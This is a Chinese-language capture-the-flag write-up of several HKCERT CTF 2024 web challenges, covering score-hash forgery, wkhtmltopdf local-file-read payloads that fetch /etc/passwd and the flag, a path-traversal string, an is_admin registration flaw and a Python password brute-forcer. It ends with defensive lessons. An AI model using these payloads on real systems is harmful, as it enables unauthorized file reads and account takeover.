2024 hkcertctf web 部分wp
字数 1601 2025-08-22 12:23:00
HKCERT CTF 2024 Web题目解析与教学文档
1. 新免費午餐题目解析
1.1 题目概述
这是一个基于浏览器的点击游戏,玩家需要在60秒内尽可能多地点击黑色方块来获取分数。游戏结束后,分数会通过update_score.php接口提交到服务器。
1.2 关键代码分析
1.2.1 游戏逻辑
- 游戏创建4x4的网格,每行随机生成一个黑色方块
- 点击黑色方块得分,点击白色方块游戏结束
- 游戏时间60秒,结束后调用
endGame()函数
1.2.2 分数提交机制
async function endGame() {
clearInterval(gameInterval);
clearInterval(timerInterval);
alert('Game Over! Your score: ' + score);
const hash = generateHash(secretKey + username + score);
fetch('/update_score.php', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${token}`
},
body: JSON.stringify({
score: score,
hash: hash
})
})
.then(response => response.json())
.then(data => {
if (data.success) {
alert('Score updated!');
} else {
alert('Failed to update score.');
}
location.reload();
});
}
1.2.3 哈希生成方式
function generateHash(data) {
return sha256(data);
}
const secretKey = '3636f69fcc3760cb130c1558ffef5e24';
const username = "a12345678";
const token = "605b9cfc7706342f2c9bdd45f48a9581";
1.3 漏洞点
哈希计算方式为sha256(secretKey + username + score),所有参数都暴露在前端代码中,攻击者可以:
- 直接修改本地分数
- 根据已知参数构造合法的哈希值
- 提交任意高分到服务器
1.4 利用方法
- 修改本地
score变量为300(flag要求的分数) - 计算
sha256("3636f69fcc3760cb130c1558ffef5e24" + "a12345678" + "300") - 构造POST请求提交分数
2. PDF生成器(1)题目解析
2.1 题目功能
- 提供URL输入框,将网页内容转换为PDF
- 后端流程:
- 访问用户提供的URL
- 将响应写入HTML文件
- 使用
wkhtmltopdf将HTML转换为PDF
2.2 漏洞分析
- 文件路径可控:通过修改sessionid可以控制html_file和pdf_file路径
- wkhtmltopdf漏洞:存在本地文件读取漏洞,可通过
--enable-local-file-access参数开启
2.3 利用方法
- 准备恶意HTML文件:
<script>
x = new XMLHttpRequest();
x.open("GET", 'file:///etc/passwd', false);
x.send();
document.write(x.responseText);
</script>
- 分两步利用:
- 先不带参数访问创建文件
- 再带
--enable-local-file-access参数访问读取flag
3. PDF生成器(2)题目解析
3.1 与第一版的区别
- 使用
pdfkit.from_string代替直接命令执行 - 但仍会从HTML的meta标签读取wkhtmltopdf参数
3.2 利用方法
构造包含以下meta标签的HTML:
<meta name="pdfkit-enable-local-file-access" content="" />
<script>
x = new XMLHttpRequest();
x.open("GET", 'file:///flag.txt', false);
x.send();
document.write(x.responseText);
</script>
4. 已知用火(1)题目解析
4.1 题目功能
- 提供文件读取功能
- 路径拼接方式:
public/+ 用户输入 - 后缀检查:必须是以
.txt结尾
4.2 漏洞分析
- 目录穿越:可以构造
../../../etc/passwd.txt这样的路径 - 长度限制:
snprintf限制为1024字节,减去public/的7字节,实际可用1017字节
4.3 利用方法
构造足够长的路径穿越到目标文件,并确保以.txt结尾:
../../../../../../../etc/passwd.txt
5. 米斯蒂茲的迷你CTF题目解析
5.1 题目(2)解析
- 存在
api/admin/challenges接口需要admin权限 - 在
96fa27cc07b9_init.py中发现id为1337的题目,发布时间是365天后,描述中包含flag2
漏洞点
注册接口可以传入is_admin=True直接注册管理员账户
5.2 题目(1)解析
- flag1存储在attempt表中
- 可以通过登录普通用户(player)获取flag
- 需要爆破用户密码
密码爆破方法
import hashlib
import itertools
import concurrent.futures
def compute_hash(password, salt):
return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()
def brute_force_find(passwd, salt, charset, length):
for password_tuple in itertools.product(charset, repeat=length):
password = ''.join(password_tuple)
res = compute_hash(password, salt)
if passwd in res:
return password
def main():
passwd = "744c75c952ef0b49cdf77383a030795ff27ad54f20af8c71e6e9d705e5abfb94"
salt = "77364c85"
charset = '0123456789abcdef'
length = 6
with concurrent.futures.ThreadPoolExecutor() as executor:
futures = [executor.submit(brute_force_find, passwd, salt, charset, length) for _ in range(4)]
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
print(result)
break
if __name__ == "__main__":
main()
6. 总结与教学要点
-
前端安全:
- 敏感信息不应暴露在前端代码中
- 关键逻辑(如分数验证)应在服务端完成
-
文件操作安全:
- 用户输入的文件路径必须严格过滤
- 使用第三方工具时需了解其安全参数
-
权限控制:
- 关键接口必须进行严格的权限验证
- 用户注册时不应允许直接设置权限标志
-
密码安全:
- 使用强哈希算法(如SHA256加盐)
- 但短密码仍可能被爆破,应设置足够复杂度要求
-
CTF解题技巧:
- 仔细阅读前端代码,寻找硬编码的敏感信息
- 分析所有可能的输入点,尝试各种注入方式
- 了解常见工具的安全问题和配置参数